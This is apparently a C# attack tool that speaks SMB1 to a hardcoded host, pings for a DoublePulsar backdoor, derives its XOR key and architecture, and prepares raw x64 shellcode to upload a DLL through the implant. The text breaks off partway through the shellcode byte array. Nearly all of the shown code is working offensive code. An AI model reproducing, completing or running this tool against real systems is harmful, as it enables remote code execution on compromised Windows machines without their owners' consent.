Doublepulsar_UploadDLL.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;

/* Sources used: 
https://github.com/povlteksttv/Eternalblue/blob/master/Eternalblue/Program.cs
https://github.com/HynekPetrak/doublepulsar-detection-csharp/blob/master/DoublepulsarDetectionLib/DetectDoublePulsar.cs
https://github.com/DeadmanLabs/EternalBlueScanner/blob/master/EternalBlue_Scanner/EternalBlue_Scanner/EternalBlueToolkit.cs
*/
namespace DoublePulsar
{
    class Program
    {
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct NETBIOS_HEADER
        {
            public uint MessageTypeAndSize;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct SMB_HEADER
        {
            public uint protocol;
            public byte command;
            public byte errorClass;
            public byte _reserved;
            public ushort errorCode;
            public byte flags;
            public ushort flags2;
            public ushort PIDHigh;
            public ulong SecurityFeatures;
            public ushort reserved;
            public ushort TID;
            public ushort PIDLow;
            public ushort UID;
            public ushort MID;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct SMB_COM_TREE_CONNECT_ANDX_REQUEST
        {
            public byte WordCount;
            public byte AndXCommand;
            public byte AndXReserved;
            public ushort AndXOffset;
            public ushort Flags;
            public ushort PasswordLength;
            public ushort ByteCount;
            //SMBData added manually
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct SMB_COM_SESSION_SETUP_ANDX_RESPONSE
        {
            public byte WordCount;
            public byte AndxCommand;
            public byte reserved;
            public ushort AndxOffset;
            public ushort action;
            public ushort ByteCount;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct SMB_COM_SESSION_SETUP_ANDX_REQUEST
        {
            public byte WordCount;
            public byte AndxCommand;
            public byte reserved1;
            public ushort AndxOffset;
            public ushort MaxBuffer;
            public ushort MaxMpxCount;
            public ushort VcNumber;
            public uint SessionKey;
            public ushort OEMPasswordLen;
            public ushort UnicodePasswordLen;
            public uint Reserved2;
            public uint Capabilities;
            public ushort ByteCount;
            //SMB Data added manually
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct SMB_COM_NEGOTIATE_REQUEST
        {
            public byte WordCount;
            public ushort ByteCount;
            //Dialects are added manually
        }


        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct DOUBLEPULSAR_PING
        {
            public byte WordCount;
            public ushort TotalParameterCount;
            public ushort TotalDataCount;
            public ushort MaxParameterCount;
            public ushort MaxDataCount;
            public byte MaxSetupCount;
            public byte Reserved;
            public ushort Flags;
            public uint Timeout;
            public ushort Reserved2;
            public ushort ParameterCount;
            public ushort ParameterOffset;
            public ushort DataCount;
            public ushort DataOffset;
            public byte setupcount;
            public byte reserved3;
            public ushort subcommand;
            public ushort ByteCount;
            public byte padding;
            //Parameters added manually
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
        public struct SMB_COM_TRANSACTION2_SECONDARY_REQUEST
        {
            public byte WordCount;
            public ushort TotalParameterCount;
            public ushort TotalDataCount;
            public ushort MaxParameterCount;
            public ushort MaxDataCount;
            public byte MaxSetupCount;
            public byte Reserved;
            public ushort Flags;
            public uint Timeout;
            public ushort Reserved2;
            public ushort ParameterCount;
            public ushort ParameterOffset;
            public ushort DataCount;
            public ushort DataOffset;
            public byte setupcount;
            public byte reserved3;
            public ushort subcommand;
            public ushort ByteCount;
            public byte padding;
            //Parameters added manually
            //SMBData added manually
        }

        static public byte[] MakeTrans2Packet(Socket sock, ushort TID, ushort UID, byte[] param, byte[] encrypted_payload)
        {
            //figure this out here ??
            /*
            NETBIOS_HEADER NTHeader = new NETBIOS_HEADER
            {
                MessageTypeAndSize = 0x35100000
            };*/

            SMB_HEADER header = new SMB_HEADER
            {
                protocol = 0x424d53ff,
                command = 0x33,
                errorClass = 0x00,
                _reserved = 0x00,
                errorCode = 0x0000,
                flags = 0x18,
                flags2 = 0xc007,
                PIDHigh = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved = 0x0000,
                TID = TID,
                PIDLow = 0xfeff,
                UID = UID,
                MID = 0x0042
            };
            //byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray();
            byte[] headerBytes = GetBytes(header);

            //uint doublepulsar_execute_timeout_command = 0x001a8925;
            //doublepulsar_execute_timeout_command = IPAddress.HostToNetworkOrder(doublepulsar_execute_timeout_command);

            SMB_COM_TRANSACTION2_SECONDARY_REQUEST transaction2SecondaryRequest = new SMB_COM_TRANSACTION2_SECONDARY_REQUEST
            {
                WordCount = 15,
                TotalParameterCount = 12,
                TotalDataCount = 0x1000,
                MaxParameterCount = 1,
                MaxDataCount = 0x0000,
                MaxSetupCount = 0x00,
                Reserved = 0x00,
                Flags = 0x00,
                Timeout = 0x001a8925, // [25,89,1a0,00] in packet.  0x001a8925
                Reserved2 = 0x00,
                ParameterCount = 12,

                //where in the packet is the location of the parameters
                //(NETBIOS) + (SMB) + (transaction2SecondaryRequest) -> < PARAMETERS ARE HERE >
                ParameterOffset = 0x0042, //0x0035 OR ParameterDisplacement (NETBIOS) + (SMB) + (transaction2SecondaryRequest) -> (parameters=12)
                DataCount = 0, //will be updated with the values below

                //where in the packet is the location of the SMBDATA
                //(NETBIOS) + (SMB) + (transaction2SecondaryRequest) + (PARAMETERS) -> < SMBDATA IS HERE>
                DataOffset = 0x004e, // DataDisplacement (NETBIOS) + (SMB) + (transaction2SecondaryRequest) (parameters=12) -> ( SMBData=4096 MAX)
                setupcount = 1, //0x01;
                reserved3 = 0x00,
                subcommand = 0x000E,
                ByteCount = 0, //will be updated with the values below
                padding = 0x00
            };

            //ushort TotalDataCount = (ushort)Marshal.SizeOf(encrypted_payload);
            //ushort ByteCountLocal = (ushort)TotalDataCount;
            //ByteCountLocal += 13;

            transaction2SecondaryRequest.TotalDataCount = (ushort)Marshal.SizeOf(encrypted_payload);
            transaction2SecondaryRequest.DataCount = (ushort)Marshal.SizeOf(encrypted_payload);

            int byteCountOfEncryptedPayload = Marshal.SizeOf(encrypted_payload) + 13;
            transaction2SecondaryRequest.ByteCount = (ushort)byteCountOfEncryptedPayload;

            //update timeout to be DoublePulsar EXEC command
            //int timeout = (time * 16) + 3;
            //transaction2SecondaryRequest.DataDisplacement = BitConverter.ToUInt16(new byte[] { 0xd0, BitConverter.GetBytes(timeout)[0] }, 0);

            //Merge SMBHeader with the transaction2SecondaryRequest
            byte[] transaction2SecondaryRequestBytes = GetBytes(transaction2SecondaryRequest);
            byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestBytes).ToArray();

            List<byte> Parameters = new List<byte>();
            Parameters.AddRange(Enumerable.Repeat((byte)0x00, 12));

            //convert params to byte
            byte[] paramBytes = GetBytes(param);

            //copy doublepulsar parameters to parameters here
            Array.Copy(paramBytes, Parameters.ToArray(), 12);

            //append the parameteters to the end of pkt
            pkt = pkt.Concat(Parameters.ToArray()).ToArray(); //Collect it all

            //SMBData dynamic generation
            int DataSize = Marshal.SizeOf(encrypted_payload);

            List<byte> SMBData = new List<byte>();
            SMBData.AddRange(Enumerable.Repeat((byte)0x00, DataSize));
            //SMBData.AddRange(Enumerable.Repeat((byte)0x00, DataSize));

            //copy doublepulsar exec data to SMBData here
            Array.Copy(encrypted_payload, SMBData.ToArray(), DataSize);

            //append it to the end of pkt
            pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all

            SendSMBMessage(sock, pkt, true);
            return ReceiveSMBMessage(sock);
            //return pkt;
        }


        static public byte[] SMB1AnonymousLogin(Socket sock)
        {
            SMB_HEADER header = new SMB_HEADER
            {
                protocol = 0x424d53ff,
                command = 0x73,
                errorClass = 0x00,
                _reserved = 0x00,
                errorCode = 0x0000,
                flags = 0x18,
                flags2 = 0xc007,
                PIDHigh = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved = 0x0000,
                TID = 0xfeff,
                PIDLow = 0x0000,
                UID = 0x0000,
                MID = 0x0040
            };
            byte[] headerBytes = GetBytes(header);

            SMB_COM_SESSION_SETUP_ANDX_REQUEST AndxRequest = new SMB_COM_SESSION_SETUP_ANDX_REQUEST
            {
                WordCount = 0x0d,
                AndxCommand = 0xff,
                reserved1 = 0x00,
                AndxOffset = 0x0088,
                MaxBuffer = 0x1104,
                MaxMpxCount = 0x00a0,
                VcNumber = 0x0000,
                SessionKey = 0x00000000,
                OEMPasswordLen = 0x0001,
                UnicodePasswordLen = 0x0000,
                Reserved2 = 0x00000000,
                Capabilities = 0x000000d4
            };
            List<byte> SMBData = new List<byte>();
            byte[] nulls = { 0x00, 0x00, 0x00, 0x00, 0x00 };
            SMBData.AddRange(nulls);
            SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \02\01\09\05\0\0\0"));
            SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \05\0.\00\0\0\0"));
            AndxRequest.ByteCount = (ushort)SMBData.Count;

            byte[] AndxRequestBytes = GetBytes(AndxRequest).Concat(SMBData.ToArray()).ToArray();
            byte[] pkt = headerBytes.Concat(AndxRequestBytes).ToArray();
            SendSMBMessage(sock, pkt, true);
            return ReceiveSMBMessage(sock);
        }

        static public byte[] TreeConnectAndXRequest(string target, Socket sock, ushort UID)
        {
            SMB_HEADER header = new SMB_HEADER
            {
                protocol = 0x424d53ff,
                command = 0x75,
                errorClass = 0x00,
                _reserved = 0x00,
                errorCode = 0x0000,
                flags = 0x18,
                flags2 = 0x2001,
                PIDHigh = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved = 0x0000,
                TID = 0xfeff,
                PIDLow = 0x4b2f,
                UID = UID,
                MID = 0x5ec5
            };
            byte[] headerBytes = GetBytes(header);

            SMB_COM_TREE_CONNECT_ANDX_REQUEST treeConnectAndxRequest = new SMB_COM_TREE_CONNECT_ANDX_REQUEST
            {
                WordCount = 0x04,
                AndXCommand = 0xff,
                AndXReserved = 0x00,
                AndXOffset = 0x0000,
                Flags = 0x0000,
                PasswordLength = 0x0001,
            };
            byte[] PathServiceBytes = Encoding.ASCII.GetBytes(@"\\" + target + @"\IPC$" + "\0?????\0");
            List<byte> SMBData = new List<byte>();
            SMBData.Add(0x00); //Password
            SMBData.AddRange(PathServiceBytes); //Path + Service
            treeConnectAndxRequest.ByteCount = (ushort)SMBData.Count;

            byte[] TreeConnectAndxRequestBytes = GetBytes(treeConnectAndxRequest).Concat(SMBData.ToArray()).ToArray();
            byte[] pkt = headerBytes.Concat(TreeConnectAndxRequestBytes).ToArray();

            SendSMBMessage(sock, pkt, true);
            return ReceiveSMBMessage(sock);
        }

        static public byte[] DoublepulsarPingRequest(Socket sock, ushort UID, ushort TID)
        {
            SMB_HEADER header = new SMB_HEADER
            {
                protocol = 0x424d53ff,
                command = 0x32,
                errorClass = 0x00,
                _reserved = 0x00,
                errorCode = 0x0000,
                flags = 0x18,
                flags2 = 0xc007,
                PIDHigh = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved = 0x0000,
                TID = TID, /*0xfeff*/
                PIDLow = 0xfeff, /* 0x4b2f */
                UID = UID,
                MID = 0x0041  /* 0x0042 */
            };
            byte[] headerBytes = GetBytes(header);

            DOUBLEPULSAR_PING ping = new DOUBLEPULSAR_PING
            {
                WordCount = 15,
                TotalParameterCount = 0x0C,
                TotalDataCount = 0x0000,

                MaxParameterCount = 0x0100,
                MaxDataCount = 0x0000,
                MaxSetupCount = 0x00,
                Reserved = 0x00,
                Flags = 0x0000,

                //timeout = SWAP_WORD(0x0134ee00),
                Timeout = 0x00ee3401,

                Reserved2 = 0x0000,

                ParameterCount = 0x0C,

                ParameterOffset = 0x0042,

                DataCount = 0x0000,
                DataOffset = 0x004e,
                setupcount = 1,
                reserved3 = 0x00,
                subcommand = 0x000e,
                ByteCount = 0xD,
                padding = 0x00
            };

            List<byte> Parameters = new List<byte>();
            Parameters.AddRange(Enumerable.Repeat((byte)0x00, 12));
            byte[] paramz = Parameters.ToArray();


            //byte[] DoublepulsarPINGPKT = GetBytes(ping).Concat(Parameters.ToArray()).ToArray();
            byte[] DoublepulsarPINGPKT = GetBytes(ping).ToArray();
            byte[] pkt = headerBytes.Concat(DoublepulsarPINGPKT).ToArray();
            pkt = pkt.Concat(paramz.ToArray()).ToArray();

            SendSMBMessage(sock, pkt, true);
            return ReceiveSMBMessage(sock);
        }

        static public SMB_HEADER SMB_HeaderFromBytes(byte[] arr)
        {
            SMB_HEADER str = new SMB_HEADER();
            int size = Marshal.SizeOf(str);
            IntPtr ptr = Marshal.AllocHGlobal(size);
            Marshal.Copy(arr, 0, ptr, size);
            str = (SMB_HEADER)Marshal.PtrToStructure(ptr, str.GetType());
            Marshal.FreeHGlobal(ptr);
            return str;
        }

        public static string HexDump(byte[] bytes, int bytesPerLine = 16)
        {
            if (bytes == null) return "<null>";
            int bytesLength = bytes.Length;

            char[] HexChars = "0123456789ABCDEF".ToCharArray();

            int firstHexColumn =
                  8                   // 8 characters for the address
                + 3;                  // 3 spaces

            int firstCharColumn = firstHexColumn
                + bytesPerLine * 3       // - 2 digit for the hexadecimal value and 1 space
                + (bytesPerLine - 1) / 8 // - 1 extra space every 8 characters from the 9th
                + 2;                  // 2 spaces 

            int lineLength = firstCharColumn
                + bytesPerLine           // - characters to show the ascii value
                + Environment.NewLine.Length; // Carriage return and line feed (should normally be 2)

            char[] line = (new String(' ', lineLength - 2) + Environment.NewLine).ToCharArray();
            int expectedLines = (bytesLength + bytesPerLine - 1) / bytesPerLine;
            StringBuilder result = new StringBuilder(expectedLines * lineLength);

            for (int i = 0; i < bytesLength; i += bytesPerLine)
            {
                line[0] = HexChars[(i >> 28) & 0xF];
                line[1] = HexChars[(i >> 24) & 0xF];
                line[2] = HexChars[(i >> 20) & 0xF];
                line[3] = HexChars[(i >> 16) & 0xF];
                line[4] = HexChars[(i >> 12) & 0xF];
                line[5] = HexChars[(i >> 8) & 0xF];
                line[6] = HexChars[(i >> 4) & 0xF];
                line[7] = HexChars[(i >> 0) & 0xF];

                int hexColumn = firstHexColumn;
                int charColumn = firstCharColumn;

                for (int j = 0; j < bytesPerLine; j++)
                {
                    if (j > 0 && (j & 7) == 0) hexColumn++;
                    if (i + j >= bytesLength)
                    {
                        line[hexColumn] = ' ';
                        line[hexColumn + 1] = ' ';
                        line[charColumn] = ' ';
                    }
                    else
                    {
                        byte b = bytes[i + j];
                        line[hexColumn] = HexChars[(b >> 4) & 0xF];
                        line[hexColumn + 1] = HexChars[b & 0xF];
                        line[charColumn] = asciiSymbol(b);
                    }
                    hexColumn += 3;
                    charColumn++;
                }
                result.Append(line);
            }
            return result.ToString();
        }

        static char asciiSymbol(byte val)
        {
            if (val < 32) return '.';  // Non-printable ASCII
            if (val < 127) return (char)val;   // Normal ASCII
                                               // Handle the hole in Latin-1
            if (val == 127) return '.';
            if (val < 0x90) return "€.‚ƒ„…†‡ˆ‰Š‹Œ.Ž."[val & 0xF];
            if (val < 0xA0) return ".‘’“”•–—˜™š›œ.žŸ"[val & 0xF];
            if (val == 0xAD) return '.';   // Soft hyphen: this symbol is zero-width even in monospace fonts
            return (char)val;   // Normal Latin-1
        }

        static public byte[] ClientNegotiate(Socket sock)
        {
            SMB_HEADER header = new SMB_HEADER
            {
                protocol = 0x424d53ff,
                command = 0x72,
                errorClass = 0x00,
                _reserved = 0x00,
                errorCode = 0x0000,
                flags = 0x18,
                flags2 = 0x2801,
                PIDHigh = 0x0000,
                SecurityFeatures = 0x0000000000000000,
                reserved = 0x0000,
                TID = 0x0000,
                PIDLow = 0x4b2f,
                UID = 0x0000,
                MID = 0x5ec5
            };
            byte[] headerBytes = GetBytes(header);

            SMB_COM_NEGOTIATE_REQUEST req = new SMB_COM_NEGOTIATE_REQUEST
            {
                WordCount = 0x00
            };
            List<byte> dialects = new List<byte>();
            dialects.AddRange(Encoding.UTF8.GetBytes("\x2LANMAN1.0\0"));
            dialects.AddRange(Encoding.UTF8.GetBytes("\x2LM1.2X002\0"));
            dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LANMAN 1.0\0"));
            dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LM 0.12\0"));
            req.ByteCount = (ushort)dialects.Count;

            byte[] negotitateRequest = GetBytes(req).Concat(dialects.ToArray()).ToArray();
            string hex = BitConverter.ToString(negotitateRequest);
            byte[] pkt = headerBytes.Concat(negotitateRequest).ToArray();
            SendSMBMessage(sock, pkt, true);
            return ReceiveSMBMessage(sock);
        }


        static public byte[] SetNetBiosHeader(byte[] pkt)
        {
            uint size = (uint)pkt.Length;
            byte[] intBytes = BitConverter.GetBytes(size).Reverse().ToArray();
            NETBIOS_HEADER netbios_header = new NETBIOS_HEADER();
            netbios_header.MessageTypeAndSize = BitConverter.ToUInt32(intBytes, 0);
            byte[] netbios_header_packet = GetBytes(netbios_header);
            byte[] fullMessage = netbios_header_packet.Concat(pkt).ToArray();
            return fullMessage;
        }

        static public void SendSMBMessage(Socket sock, byte[] pkt, bool SetHeader)
        {
            //Calculate and set Message Length for NetBios Header
            if (SetHeader)
            {
                pkt = SetNetBiosHeader(pkt);
            }
            try
            {
                sock.Send(pkt);
            }
            catch (Exception e)
            {
                Console.WriteLine("Socket Error, during sending: " + e.Message);
            }
        }

        static public byte[] ReceiveSMBMessage(Socket sock)
        {
            byte[] response = new byte[1024];
            try
            {
                sock.Receive(response);
            }
            catch (Exception e)
            {
                Console.WriteLine("Socket Error, during receive: " + e.Message);
            }
            return response.Skip(4).ToArray();
        }

        static public byte[] GetBytes(object str)
        {
            int size = Marshal.SizeOf(str);

            byte[] arr = new byte[size];
            IntPtr ptr = Marshal.AllocHGlobal(size);
            Marshal.StructureToPtr(str, ptr, true);
            Marshal.Copy(ptr, arr, 0, size);
            Marshal.FreeHGlobal(ptr);
            return arr;
        }

        public static UInt32 LE2INT(byte[] data)
        {
            UInt32 b;
            b = data[3];
            b <<= 8;
            b += data[2];
            b <<= 8;
            b += data[1];
            b <<= 8;
            b += data[0];
            return b;
        }

        //https://stackoverflow.com/questions/2350099/how-to-convert-an-int-to-a-little-endian-byte-array
        /*
        BitConverter.GetBytes(1000).Reverse<byte>().ToArray();
        
        OR
        if (BitConverter.IsLittleEndian)
        {
            int someInteger = 100;
            byte[] bytes = BitConverter.GetBytes(someInteger);
            int convertedFromBytes = BitConverter.ToInt32(bytes, 0);
        }
        OR
        byte[] IntToLittleEndian(int data)
        {
          var output = new byte[sizeof(int)];
          BinaryPrimitives.WriteInt32LittleEndian(output, data);
          return output;
        }
        */
        public static byte[] INT2LE(UInt32 data)
        {
            byte[] b = new byte[4];
            b[0] = (byte)data;
            b[1] = (byte)(((uint)data >> 8) & 0xFF);
            b[2] = (byte)(((uint)data >> 16) & 0xFF);
            b[3] = (byte)(((uint)data >> 24) & 0xFF);
            return b;
        }

        public static byte[] Slice(byte[] data, int index, int length)
        {
            byte[] result = new byte[length];
            Array.Copy(data, index, result, 0, length);
            return result;
        }

        public static UInt32 calculate_doublepulsar_xor_key(UInt32 s)
        {
            UInt32 x;
            x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)));
            x = x & 0xffffffff;  // this line was added just to truncate to 32 bits
            return x;
        }

        // The arch is adjacent to the XOR key in the SMB signature
        public static string calculate_doublepulsar_arch(UInt64 s)
        {
            if ((s & 0xffffffff00000000) == 0)
            {
                return "x86 (32-bit)";
            }
            else
            {
                return "x64 (64-bit)";
            }
        }

        //https://social.msdn.microsoft.com/Forums/vstudio/en-US/0f63c7f5-02f5-444c-b853-ea779ce005cf/file-encryption-using-multiple-xor-keys?forum=csharpgeneral
        private static void XorEncrypt(Byte[] message, UInt32[] Keys)
        {
            for (Int32 i = 0; i < message.Length - 1; i++)
            {
                message[i] ^= (byte)Keys[i % 4];
            }
        }

        public static byte[] XorDecryptFunc(Byte[] message, int key)
        {
            byte[] readedBytes;
            byte[] xoredBytes;

            readedBytes = new byte[message.Length];
            xoredBytes = new byte[message.Length];
            Array.Copy(message, readedBytes, message.Length);

            for (int i = 0; i < readedBytes.Length; i++)
            {
                int xoredInt = readedBytes[i] ^ key;
                xoredBytes[i] = (byte)xoredInt;
            }

            return xoredBytes;
        }


        static void Main(string[] args)
        {
            string target = "192.168.0.13";
            string ip = target;
            int port = 445;
            TcpClient client = new TcpClient(ip, port);
            Socket sock = client.Client;

            Console.WriteLine("Connecting to host: " + target);
            ClientNegotiate(sock);
            byte[] response = SMB1AnonymousLogin(sock);
            SMB_HEADER header = SMB_HeaderFromBytes(response);
            response = TreeConnectAndXRequest(ip, sock, header.UID);
            header = SMB_HeaderFromBytes(response);
            sock.ReceiveTimeout = 2000;
            Console.WriteLine("Connection established");

            //we need to obtain the key for DoublePulsar so send DoublePulsar trans2 ping packet here
            byte[] pingrequestresponse = DoublepulsarPingRequest(sock, header.UID, header.TID);
            System.Console.WriteLine("Sent Doublepulsar Ping packet!");

            //Receive Trans2 DoublePulsar Response & Parse
            header = SMB_HeaderFromBytes(pingrequestresponse);

            //https://github.com/HynekPetrak/doublepulsar-detection-csharp/blob/master/DoublepulsarDetectionLib/DetectDoublePulsar.cs
            //byte[] final_response = pingrequestresponse;

            // Check for 0x51 response to indicate DOUBLEPULSAR infection
            //if (final_response[34] == 0x51)
            if (header.MID == 0x51)
            {
                //byte[] signature = Slice(pingrequestresponse, 18, 4);
                byte[] signature = Slice(pingrequestresponse, 14, 4);
                UInt32 signature_long = LE2INT(signature);
                UInt32 key = calculate_doublepulsar_xor_key(signature_long);
                string arch = calculate_doublepulsar_arch(signature_long);

                Console.WriteLine($"DOUBLEPULSAR SMB IMPLANT DETECTED!!! Arch: {arch}, XOR Key: 0x{key,4:X}");

                System.Console.WriteLine("Preparing Doublepulsar upload dll payload package!");

                byte[] shellcode = new byte[6144] {
                0x48, 0x89, 0xE0, 0x66, 0x83, 0xE4, 0xF0, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53,
                0x51, 0x52, 0x55, 0x57, 0x56, 0x50, 0x50, 0xE8, 0xBC, 0x06, 0x00, 0x00, 0x48, 0x89, 0xC3, 0x48, 0xB9, 0xDF, 0x81, 0x14, 0x3E, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x26,
                0x05, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x55, 0x03, 0x00, 0x00, 0x48, 0x89, 0x05, 0x9C, 0x07, 0x00, 0x00, 0x48, 0xB9, 0xBA, 0x1E, 0x03, 0xA0, 0x00, 0x00,
                0x00, 0x00, 0xE8, 0x07, 0x05, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x36, 0x03, 0x00, 0x00, 0x48, 0x89, 0x05, 0x85, 0x07, 0x00, 0x00, 0x48, 0xB9, 0x84, 0x06,
                0xE7, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xE8, 0xE8, 0x04, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x17, 0x03, 0x00, 0x00, 0x48, 0x89, 0x05, 0x6E, 0x07, 0x00, 0x00,
                0x48, 0xB9, 0x4F, 0xFE, 0xEB, 0x15, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xC9, 0x04, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xF8, 0x02, 0x00, 0x00, 0x48, 0x89, 0x05,
                0x57, 0x07, 0x00, 0x00, 0x48, 0xB9, 0xF9, 0x30, 0xAC, 0xA4, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xAA, 0x04, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xD9, 0x02, 0x00,
                0x00, 0x48, 0x89, 0x05, 0x40, 0x07, 0x00, 0x00, 0x48, 0xB9, 0xCA, 0xBE, 0xD0, 0xEC, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x8B, 0x04, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F,
                0x84, 0xBA, 0x02, 0x00, 0x00, 0x48, 0x89, 0x05, 0x29, 0x07, 0x00, 0x00, 0x48, 0xB9, 0xAE, 0xB8, 0x9F, 0x5D, 0xFF, 0xFF, 0xFF, 0xFF, 0xE8, 0x6C, 0x04, 0x00, 0x00,
                0x48, 0x85, 0xC0, 0x0F, 0x84, 0x9B, 0x02, 0x00, 0x00, 0x48, 0x89, 0x05, 0x12, 0x07, 0x00, 0x00, 0x48, 0xB9, 0x94, 0x01, 0x69, 0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xE8,
                0x4D, 0x04, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x7C, 0x02, 0x00, 0x00, 0x48, 0x89, 0x05, 0xFB, 0x06, 0x00, 0x00, 0x48, 0xB9, 0xF6, 0x10, 0x00, 0xB8, 0xFF,
                0xFF, 0xFF, 0xFF, 0xE8, 0x2E, 0x04, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x5D, 0x02, 0x00, 0x00, 0x48, 0x89, 0x05, 0xE4, 0x06, 0x00, 0x00, 0x48, 0xB9, 0xCA,
                0xD6, 0x5F, 0xD2, 0xFF, 0xFF, 0xFF, 0xFF, 0xE8, 0x0F, 0x04, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x3E, 0x02, 0x00, 0x00, 0x48, 0x89, 0x05, 0xCD, 0x06, 0x00,
                0x00, 0x48, 0xB9, 0x79, 0xA8, 0x24, 0x11, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xF0, 0x03, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x1F, 0x02, 0x00, 0x00, 0x48, 0x89,
                0x05, 0xB6, 0x06, 0x00, 0x00, 0x48, 0xB9, 0x37, 0xC6, 0x90, 0x4F, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xD1, 0x03, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x00, 0x02,
                0x00, 0x00, 0x48, 0x89, 0x05, 0x9F, 0x06, 0x00, 0x00, 0x48, 0xB9, 0x6C, 0xE7, 0xFE, 0x10, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xB2, 0x03, 0x00, 0x00, 0x48, 0x85, 0xC0,
                0x0F, 0x84, 0xE1, 0x01, 0x00, 0x00, 0x48, 0x89, 0x05, 0x88, 0x06, 0x00, 0x00, 0xE8, 0x4F, 0x03, 0x00, 0x00, 0x8B, 0x05, 0x85, 0x06, 0x00, 0x00, 0x85, 0xC0, 0x0F,
                0x84, 0xC7, 0x01, 0x00, 0x00, 0xE8, 0xD9, 0x01, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xB9, 0x01, 0x00, 0x00, 0x4C, 0x8D, 0x0D, 0x94, 0x06, 0x00, 0x00, 0x41,
                0x8B, 0x09, 0x51, 0x51, 0x6A, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x4D, 0x31, 0xC0, 0x48, 0x8D, 0x15, 0xD2, 0x05, 0x00, 0x00, 0x48, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF,
                0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0x06, 0x06, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x38, 0x59, 0x89, 0x0D, 0x5F, 0x06, 0x00, 0x00, 0x48, 0x85,
                0xC0, 0x0F, 0x85, 0x22, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x35, 0x57, 0x06, 0x00, 0x00, 0x48, 0x8B, 0x3D, 0x9C, 0x05, 0x00, 0x00, 0xF3, 0xA4, 0x80, 0x3D, 0x2F, 0x06,
                0x00, 0x00, 0x01, 0x74, 0x05, 0xE8, 0x96, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x35, 0x4D, 0x05, 0x00, 0x00, 0x8B, 0x0D, 0x0F, 0x06, 0x00, 0x00, 0x48, 0x01, 0xCE, 0x48,
                0x89, 0xF1, 0x44, 0x8B, 0x25, 0x06, 0x06, 0x00, 0x00, 0x48, 0x8B, 0x11, 0x48, 0x39, 0xD6, 0x0F, 0x84, 0xDE, 0x00, 0x00, 0x00, 0x48, 0x31, 0xC0, 0x8B, 0x05, 0xDD,
                0x05, 0x00, 0x00, 0x48, 0x29, 0xC2, 0x51, 0x52, 0x48, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0xC3, 0x05, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5A, 0x59,
                0x48, 0x85, 0xC0, 0x74, 0x2E, 0x4D, 0x31, 0xC9, 0x44, 0x8B, 0x0D, 0xCE, 0x05, 0x00, 0x00, 0x4A, 0x8B, 0x04, 0x08, 0x48, 0x85, 0xC0, 0x74, 0x1B, 0x4C, 0x01, 0xE2,
                0x80, 0x3D, 0xBF, 0x05, 0x00, 0x00, 0x01, 0x74, 0x07, 0x80, 0x3A, 0x01, 0x74, 0x0F, 0xEB, 0x08, 0x8B, 0x02, 0x0F, 0xBA, 0xE0, 0x05, 0x72, 0x05, 0x48, 0x8B, 0x09,
